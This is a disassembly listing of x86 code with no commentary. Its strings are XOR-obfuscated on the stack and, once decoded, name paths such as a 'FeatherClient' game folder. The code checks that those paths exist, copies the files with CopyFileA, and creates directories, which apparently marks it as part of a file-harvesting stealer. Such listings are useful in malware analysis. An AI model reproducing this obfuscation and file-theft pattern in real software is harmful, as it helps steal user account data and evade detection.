mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x1968]
call fcn.0040fc90
test esi, esi
je 0x4699fb
mov byte [ebp - 0x31], 1
jmp 0x469a0d
push 0
mov dl, 1
lea ecx, [ebp - 0x1428]
call fcn.0041a270
add esp, 4
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x16e0]
call fcn.0040fc90
mov dword [ebp - 0x28], 0x658a9369
lea edx, [ebp - 0x138]
mov dword [ebp - 0x24], 0x942583d5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], ecx
mov dword [ebp - 0x28], 0x13712605
mov dword [ebp - 0x24], 0xf52f785e
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xcc0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xcbc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2a0]
mov dword [ebp - 0xcb8], eax
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0xcb4], ecx
lea ecx, [ebp - 0x1440]
pxor xmm1, xmmword [ebp - 0xcc0]
push eax
movaps xmmword [ebp - 0x2a0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x1440]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x469e8a
mov dword [ebp - 0x28], 0x6189fb69
mov dword [ebp - 0x24], 0x83289fc0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x6bc], ecx
mov dword [ebp - 0x28], 0x15791634
mov dword [ebp - 0x24], 0x9b5a6353
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6b8], eax
mov dword [ebp - 0x6b4], ecx
mov dword [ebp - 0x28], 0x2591d873
mov dword [ebp - 0x24], 0xe5198724
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6b0], eax
mov dword [ebp - 0x6ac], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x6a4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1000], eax
mov dword [ebp - 0xffc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xff8], eax
mov dword [ebp - 0xff4], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xff0], eax
mov dword [ebp - 0xfec], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x6c0]
mov dword [ebp - 0xfe8], eax
lea eax, [ebp - 0x12c0]
mov dword [ebp - 0xfe4], ecx
mov ecx, eax
vpxor ymm0, ymm0, ymmword [ebp - 0x1000]
vmovdqa ymmword [ebp - 0x6c0], ymm0
mov dword [ebp - 0x50], eax
vzeroupper
call fcn.00410150
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x6c0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x469c21
sub ecx, edx
lea eax, [ebp - 0x6c0]
push ecx
push eax
lea ecx, [ebp - 0x12c0]
call fcn.00410090
mov byte [ebp - 4], 0x55
mov dword [ebp - 0x28], 0x40bf8574
mov dword [ebp - 0x24], 0xe601bfe0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xcd0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xccc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2b0]
mov dword [ebp - 0xcc8], eax
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0xcc4], ecx
pxor xmm1, xmmword [ebp - 0xcd0]
push eax
movaps xmmword [ebp - 0x2b0], xmm1
call fcn.0052d011
add esp, 4
lea ecx, [ebp - 0x12c0]
mov edx, eax
push ecx
lea ecx, [ebp - 0x16c8]
call fcn.004b0310
add esp, 4
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x12c0]
call fcn.0040fe10
mov byte [ebp - 4], 0x57
lea eax, [ebp - 0x12c0]
mov dword [ebp - 0x50], eax
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x16c8]
call fcn.004aba80
sub esp, 0x18
mov dword [ebp - 0x4c], eax
mov esi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x58], esi
mov ecx, esi
mov dword [ebp - 0x60], esi
call fcn.00410150
mov byte [ebp - 4], 0x5c
mov edx, dword [ebp - 0x4c]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x4c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x469d50
sub ecx, dword [ebp - 0x4c]
push ecx
push edx
mov ecx, esi
call fcn.00410090
mov byte [ebp - 4], 0x5d
mov byte [ebp - 4], 0x57
call fcn.0041a120
add esp, 0x18
test al, al
je 0x469e69
mov dword [ebp - 0x28], 0x678cb469
lea edx, [ebp - 0x1440]
mov dword [ebp - 0x24], 0x922e9ece
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x28], 0x5726435
mov dword [ebp - 0x24], 0xf52f625f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xce0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xcdc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2c0]
mov dword [ebp - 0xcd8], eax
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0xcd4], ecx
lea ecx, [ebp - 0x1980]
pxor xmm1, xmmword [ebp - 0xce0]
push eax
movaps xmmword [ebp - 0x2c0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x5e
mov ecx, eax
call fcn.004aba80
lea ecx, [ebp - 0x16c8]
mov esi, eax
call fcn.004aba80
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x1980]
call fcn.0040fc90
test esi, esi
je 0x469e69
mov byte [ebp - 0x31], 1
jmp 0x469e7b
push 0
mov dl, 1
lea ecx, [ebp - 0x1440]
call fcn.0041a270
add esp, 4
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x16c8]
call fcn.0040fc90
mov dword [ebp - 0x28], 0x6a9a9969
lea edx, [ebp - 0x138]
mov dword [ebp - 0x24], 0x8a0399c0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x28], 0x2762f2f
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xcf0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xcec], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2d0]
mov dword [ebp - 0xce8], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0xce4], ecx
lea ecx, [ebp - 0x1458]
pxor xmm1, xmmword [ebp - 0xcf0]
push eax
movaps xmmword [ebp - 0x2d0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x1458]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46a36a
mov dword [ebp - 0x28], 0x7183fb69
mov dword [ebp - 0x24], 0x85328acf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1200], eax
mov dword [ebp - 0x11fc], ecx
mov dword [ebp - 0x28], 0x187d232a
mov dword [ebp - 0x24], 0x905c5044
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x11f8], eax
mov dword [ebp - 0x11f4], ecx
mov dword [ebp - 0x28], 0x21d6df73
mov dword [ebp - 0x24], 0x822b9b30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x11f0], eax
mov dword [ebp - 0x11ec], ecx
mov dword [ebp - 0x28], 0x150cea89
mov dword [ebp - 0x24], 0xb6c5fab2
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x11e8], eax
mov dword [ebp - 0x11e4], ecx
mov dword [ebp - 0x28], 0xce081b16
mov dword [ebp - 0x24], 0x9a24051e
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x11e0], eax
mov dword [ebp - 0x11dc], ecx
mov dword [ebp - 0x28], 0xc81d153e
mov dword [ebp - 0x24], 0xe38070cc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x11d8], eax
mov dword [ebp - 0x11d4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xea0], eax
mov dword [ebp - 0xe9c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe98], eax
mov dword [ebp - 0xe94], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe90], eax
mov dword [ebp - 0xe8c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe88], eax
mov dword [ebp - 0xe84], ecx
mov dword [ebp - 0x28], 0xba666e79
mov dword [ebp - 0x24], 0xe2502b6d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe80], eax
mov dword [ebp - 0xe7c], ecx
mov dword [ebp - 0x28], 0xc81d154a
mov dword [ebp - 0x24], 0xe38070cc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x1200]
vpxor ymm0, ymm0, ymmword [ebp - 0xea0]
mov dword [ebp - 0xe78], eax
lea eax, [ebp - 0x1200]
mov dword [ebp - 0xe74], ecx
lea ecx, [ebp - 0x1890]
vmovdqa ymmword [ebp - 0x1200], ymm0
vmovaps xmm1, xmmword [ebp - 0x11e0]
vpxor xmm1, xmm1, xmmword [ebp - 0xe80]
vmovaps xmmword [ebp - 0x11e0], xmm1
push eax
vzeroupper
call fcn.0040fcf0
mov esi, eax
mov byte [ebp - 4], 0x60
mov dword [ebp - 0x28], 0x56aa8660
mov dword [ebp - 0x24], 0xa00fb9f1
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x2e0], ecx
mov dword [ebp - 0x2dc], edx
mov dword [ebp - 0x28], 0x765d060f
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xd00], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xcfc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2e0]
mov dword [ebp - 0xcf8], eax
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0xcf4], ecx
pxor xmm1, xmmword [ebp - 0xd00]
push eax
movaps xmmword [ebp - 0x2e0], xmm1
call fcn.0052d011
add esp, 4
lea ecx, [ebp - 0x1818]
mov edx, eax
push esi
call fcn.004b0310
add esp, 4
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x1890]
call fcn.0040fe10
mov byte [ebp - 4], 0x62
lea eax, [ebp - 0x1890]
mov dword [ebp - 0x50], eax
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x1818]
call fcn.004aba80
sub esp, 0x18
mov dword [ebp - 0x4c], eax
mov esi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x58], esi
mov ecx, esi
mov dword [ebp - 0x60], esi
call fcn.00410150
mov byte [ebp - 4], 0x67
mov edx, dword [ebp - 0x4c]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x4c], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46a230
sub ecx, dword [ebp - 0x4c]
push ecx
push edx
mov ecx, esi
call fcn.00410090
mov byte [ebp - 4], 0x68
mov byte [ebp - 4], 0x62
call fcn.0041a120
add esp, 0x18
test al, al
je 0x46a349
mov dword [ebp - 0x28], 0x678cb469
lea edx, [ebp - 0x1458]
mov dword [ebp - 0x24], 0x922e9ece
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x28], 0xe6c6435
mov dword [ebp - 0x24], 0xf52f0c44
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xd10], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xd0c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2f0]
mov dword [ebp - 0xd08], eax
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0xd04], ecx
lea ecx, [ebp - 0x1998]
pxor xmm1, xmmword [ebp - 0xd10]
push eax
movaps xmmword [ebp - 0x2f0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x69
mov ecx, eax
call fcn.004aba80
lea ecx, [ebp - 0x1818]
mov esi, eax
call fcn.004aba80
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x1998]
call fcn.0040fc90
test esi, esi
je 0x46a349
mov byte [ebp - 0x31], 1
jmp 0x46a35b
push 0
mov dl, 1
lea ecx, [ebp - 0x1458]
call fcn.0041a270
add esp, 4
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x1818]
call fcn.0040fc90
mov dword [ebp - 0x28], 0x708e9769
lea edx, [ebp - 0x138]
mov dword [ebp - 0x24], 0xc82587d5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x28], 0x766c2f28
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xd20], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xd1c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x300]
mov dword [ebp - 0xd18], eax
lea eax, [ebp - 0x300]
mov dword [ebp - 0xd14], ecx
lea ecx, [ebp - 0x1470]
pxor xmm1, xmmword [ebp - 0xd20]
push eax
movaps xmmword [ebp - 0x300], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x1470]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46aa70
mov dword [ebp - 0x28], 0x708e9769
xor al, al
mov dword [ebp - 0x24], 0xc82587d5
mov byte [ebp - 0x41], al
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x28], 0x766c2f28
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xd2c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x310]
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0x310]
mov dword [ebp - 0xd24], ecx
lea ecx, [ebp - 0x19b0]
pxor xmm1, xmmword [ebp - 0xd30]
push eax
movaps xmmword [ebp - 0x310], xmm1
call fcn.0040fcf0
mov esi, eax
mov byte [ebp - 4], 0x6b
mov dword [ebp - 0x28], 0x40bf8574
mov dword [ebp - 0x24], 0xe601bfe0
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x31c], edx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x8b0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x8ac], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x320]
mov dword [ebp - 0x8a8], eax
lea eax, [ebp - 0x320]
mov dword [ebp - 0x8a4], ecx
pxor xmm1, xmmword [ebp - 0x8b0]
push eax
movaps xmmword [ebp - 0x320], xmm1
call fcn.0052d011
add esp, 4
lea ecx, [ebp - 0x17d0]
mov edx, eax
push esi
call fcn.004b0310
add esp, 4
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x19b0]
call fcn.0040fc90
sub esp, 0x18
lea eax, [ebp - 0x17d0]
mov ecx, esp
mov dword [ebp - 0x50], esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x6e
push 1
mov byte [ebp - 4], 0x6d
xor dl, dl
lea ecx, [ebp - 0x838]
call fcn.00439af0
add esp, 0x1c
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0x838]
call fcn.004aabd0
lea ecx, [ebp - 0x838]
mov dword [ebp - 0x60], eax
call fcn.004aabc0
mov ecx, eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x58], ecx
cmp eax, ecx
je 0x46aa29
mov byte [ebp - 0x4c], 0
nop
push eax
lea ecx, [ebp - 0x1578]
call fcn.004abdc0
mov byte [ebp - 4], 0x70
lea edx, [ebp - 0x1578]
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x1560]
call fcn.004b6f70
add esp, 4
mov byte [ebp - 4], 0x72
lea eax, [ebp - 0x1800]
push eax
lea ecx, [ebp - 0x1560]
call fcn.004129f0
mov byte [ebp - 4], 0x73
lea ecx, [ebp - 0x14a0]
push ecx
mov ecx, eax
call fcn.004125e0
mov byte [ebp - 4], 0x75
lea eax, [ebp - 0x1800]
mov dword [ebp - 0x50], eax
mov byte [ebp - 4], 0x77
mov ecx, eax
call fcn.004adf90
mov byte [ebp - 4], 0x75
lea eax, [ebp - 0x1800]
mov dword [ebp - 0x6c], eax
mov byte [ebp - 4], 0x75
mov dword [ebp - 0xc8], 0x4efb751
mov dword [ebp - 0xc4], 0xe640eba1
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0xd0], 0x76184a46
mov dword [ebp - 0xcc], 0xf52f0c30
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xcc]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0xe0], 0x4efd535
mov dword [ebp - 0xdc], 0xe640eba1
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x8c0], eax
mov dword [ebp - 0xd8], 0x76184a46
mov dword [ebp - 0x8bc], ecx
mov dword [ebp - 0xd4], 0xf52f0c30
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
movaps xmm1, xmmword [ebp - 0x330]
mov dword [ebp - 0x8b8], eax
lea eax, [ebp - 0x330]
mov dword [ebp - 0x8b4], ecx
lea ecx, [ebp - 0x14a0]
pxor xmm1, xmmword [ebp - 0x8c0]
push 0
push eax
movaps xmmword [ebp - 0x330], xmm1
call fcn.004ab870
cmp eax, 0xffffffff
jne 0x46a84e
mov dword [ebp - 0xb0], 0x6281ba56
mov dword [ebp - 0xac], 0xe6408cc8
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0xa8], 0x76184a46
mov dword [ebp - 0xa4], 0xf52f0c30
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0xb8], 0x4efd535
mov dword [ebp - 0xb4], 0xe640eba1
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x8d0], eax
mov dword [ebp - 0xa0], 0x76184a46
mov dword [ebp - 0x8cc], ecx
mov dword [ebp - 0x9c], 0xf52f0c30
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
movaps xmm1, xmmword [ebp - 0x340]
mov dword [ebp - 0x8c8], eax
lea eax, [ebp - 0x340]
mov dword [ebp - 0x8c4], ecx
lea ecx, [ebp - 0x14a0]
pxor xmm1, xmmword [ebp - 0x8d0]
push 0
push eax
movaps xmmword [ebp - 0x340], xmm1
call fcn.004ab870
cmp eax, 0xffffffff
je 0x46a9aa
mov dword [ebp - 0x80], 0x4efd569
lea edx, [ebp - 0x1470]
mov dword [ebp - 0x7c], 0xe640eba1
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x78], 0x76184a46
mov dword [ebp - 0x74], 0xf52f0c30
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x88], 0x4efd535
mov dword [ebp - 0x84], 0xe640eba1
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x8e0], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x8dc], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x350]
mov dword [ebp - 0x8d8], eax
lea eax, [ebp - 0x350]
mov dword [ebp - 0x8d4], ecx
lea ecx, [ebp - 0x1878]
pxor xmm1, xmmword [ebp - 0x8e0]
push eax
movaps xmmword [ebp - 0x350], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x7b
lea ecx, [ebp - 0x14a0]
push ecx
mov ecx, eax
call fcn.004abc20
push eax
lea ecx, [ebp - 0x17e8]
call fcn.0040fca0
mov edi, dword [ebp - 0x54]
lea ecx, [ebp - 0x17e8]
or edi, 1
mov dword [ebp - 0x54], edi
call fcn.004aba80
lea ecx, [ebp - 0x1578]
mov esi, eax
call fcn.004aba80
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and edi, 0xfffffffe
mov esi, eax
mov dword [ebp - 0x54], edi
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0x17e8]
call fcn.0040fe10
mov byte [ebp - 4], 0x7a
lea eax, [ebp - 0x17e8]
mov dword [ebp - 0xbc], eax
mov byte [ebp - 4], 0x7f
lea ecx, [ebp - 0x1878]
call fcn.0040fe10
mov byte [ebp - 4], 0x75
lea eax, [ebp - 0x1878]
mov dword [ebp - 0x90], eax
mov byte [ebp - 4], 0x75
test esi, esi
je 0x46a9aa
mov byte [ebp - 0x41], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x14a0]
call fcn.0040fe10
mov byte [ebp - 4], 0x72
lea eax, [ebp - 0x14a0]
mov dword [ebp - 0x94], eax
mov byte [ebp - 4], 0x70
lea eax, [ebp - 0x1560]
mov dword [ebp - 0x8c], eax
mov byte [ebp - 4], 0x86
mov ecx, eax
call fcn.004adf90
mov byte [ebp - 4], 0x70
lea eax, [ebp - 0x1560]
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 0x89
lea ecx, [ebp - 0x1578]
call fcn.0040fe10
mov byte [ebp - 4], 0x6f
lea eax, [ebp - 0x1578]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x6f
mov eax, dword [ebp - 0x60]
add eax, 0x18
mov dword [ebp - 0x60], eax
cmp eax, dword [ebp - 0x58]
jne 0x46a610
cmp byte [ebp - 0x41], 0
jne 0x46aa3b
push 0
mov dl, 1
lea ecx, [ebp - 0x1470]
call fcn.0041a270
add esp, 4
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x838]
call fcn.004add00
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0x17d0]
call fcn.0040fe10
mov byte [ebp - 4], 0x6a
lea eax, [ebp - 0x17d0]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x6a
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x30], 0x619b8669
lea edx, [ebp - 0x138]
mov dword [ebp - 0x2c], 0xe64086c0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x8f0], eax
